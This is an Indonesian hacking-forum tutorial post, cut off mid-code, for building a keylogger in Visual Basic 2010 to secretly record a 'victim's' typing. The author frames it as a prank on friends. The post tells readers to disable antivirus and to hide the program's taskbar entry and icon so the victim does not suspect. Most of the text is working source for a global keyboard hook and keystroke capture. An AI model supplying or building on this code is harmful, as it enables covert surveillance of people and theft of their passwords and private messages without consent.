Indonesian SWF Editor Community
|
SELAMAT Datang Di Cmonhackns ===> Mulailah dari yang kecil... karena semua yang besar dulunya juga kecil..
|
| | | Tutorial buat keylogger sendiri dengan Visual Basic 2010 |  |
|
+3heineken aprianta_surbakti RieqyNS13 7 posters | | Author | Message |
|---|
RieqyNS13
Moderator
Jumlah posting : 379
Join date : 2011-01-16
Age : 26
Lokasi : chmod 0655 GetConfig.SQL
 |  Subject: Tutorial buat keylogger sendiri dengan Visual Basic 2010  Thu Jul 28, 2011 1:56 am | |
| membuat keylogger sendiri pasti seru  ,karena bisa dibuat untuk menjaili teman,kaya' ngerekam tulisan apa aja yg diketik... komponen VB 2010 : 1) 1 Timer 2) 1 TextBox 3) 2 Label ========= Aplikasi ini terdeteksi sebagai virus,jadi antivirusnya di disable dulu  1) Susun dan ganti Nama komponen diatas seperti gambar dibawah ini : [You must be registered and logged in to see this image.]1.5) Klik 1 kali pada Form1 ,dan kemudian pada kotak Properties(pojok kanan bawah) cari tabel ShowInTaskBar,dan ganti menjadi False. lihat gambar berikut : [You must be registered and logged in to see this image.]2) Klik 1 kali lagi pada Form1 dan pada kotak Properties(pojok kanan bawah) cari tabel ShowIcon,dan ganti menjadi False. gunanya untuk menyembunyikan icon pada saat keylogging dibuka,agar si korban tidak curiga [You must be registered and logged in to see this image.]3) Setelah itu,klik 2 kali pada Form1 atau tekan F7,dan km akan liat scripts kaya gini : - Code:
-
Public Class Form1
End Class 4) Scripts kaya diatas kita hapus semua,maka tampilan pengcodean akan kosong berwarna putih persih 5) Setelah scripts kaya diatas dah dihapus semua,masukkan scripts berikut : - Code:
-
Public Class Form1
Public Class KeyboardHook
Private Const HC_ACTION As Integer = 0
Private Const WH_KEYBOARD_LL As Integer = 13
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105
Private Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scancode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure
Private Declare Function SetWindowsHookEx Lib "user32" _
Alias "SetWindowsHookExA" _
(ByVal idHook As Integer, _
ByVal lpfn As KeyboardProcDelegate, _
ByVal hmod As Integer, _
ByVal dwThreadId As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" _
(ByVal hHook As Integer, _
ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function UnhookWindowsHookEx Lib "user32" _
(ByVal hHook As Integer) As Integer
Private Delegate Function KeyboardProcDelegate _
(ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Public Shared Event KeyDown(ByVal Key As Keys)
Public Shared Event KeyUp(ByVal Key As Keys)
Private Shared KeyHook As Integer
Private Shared KeyHookDelegate As KeyboardProcDelegate
Public Sub New()
KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
End Sub
Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
If (nCode = HC_ACTION) Then
Select Case wParam
Case WM_KEYDOWN, WM_SYSKEYDOWN
RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
Case WM_KEYUP, WM_SYSKEYUP
RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
End Select
End If
Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
End Function
Protected Overrides Sub Finalize()
UnhookWindowsHookEx(KeyHook)
MyBase.Finalize()
End Sub
End Class
Private WithEvents kbHook As New KeyboardHook
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Dim strin As String = Nothing
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function
Sub shiftandcaps(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown
If My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = False Then
If Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "a"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "b"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "c"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "d"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "e"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "f"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "g"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "h"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "i"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "j"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "k"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "l"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "m"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "n"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "o"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "p"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "r"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "s"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "t"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "u"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "v"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "w"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "x"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "z"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.NumPad0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.NumPad1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.NumPad2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.NumPad3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.NumPad4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.NumPad5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.NumPad6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.NumPad7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.NumPad8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.NumPad9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "A"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "B"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "C"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "D"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "E"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "F"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "G"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "H"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "I"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "J"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "K"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "L"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "M"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "N"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "O"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "P"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "Q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "R"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "S"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "T"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "U"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "V"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "W"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "X"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "Z"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.NumPad0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.NumPad1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.NumPad2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.NumPad3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.NumPad4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.NumPad5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.NumPad6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.NumPad7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.NumPad8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.NumPad9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "!"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "@"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "#"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "$"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "%"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "^"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "&"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "*"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "("
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + ")"
ElseIf Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "A"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "B"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "C"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "D"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "E"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "F"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "G"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "H"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "I"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "J"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "K"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "L"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "M"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "N"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "O"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "P"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "Q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "R"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "S"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "T"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "U"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "V"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "W"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "X"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "Z"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & "<"
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "_"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "{"
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "}"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "|"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ":"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & ">"
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "~"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & Label1.Text
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "9"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + "0"
ElseIf Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "a"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "b"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "c"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "d"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "e"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "f"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "g"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "h"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "i"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "j"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "k"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "l"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "m"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "n"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "o"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "p"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "r"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "s"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "t"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "u"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "v"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "w"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "x"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "z"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
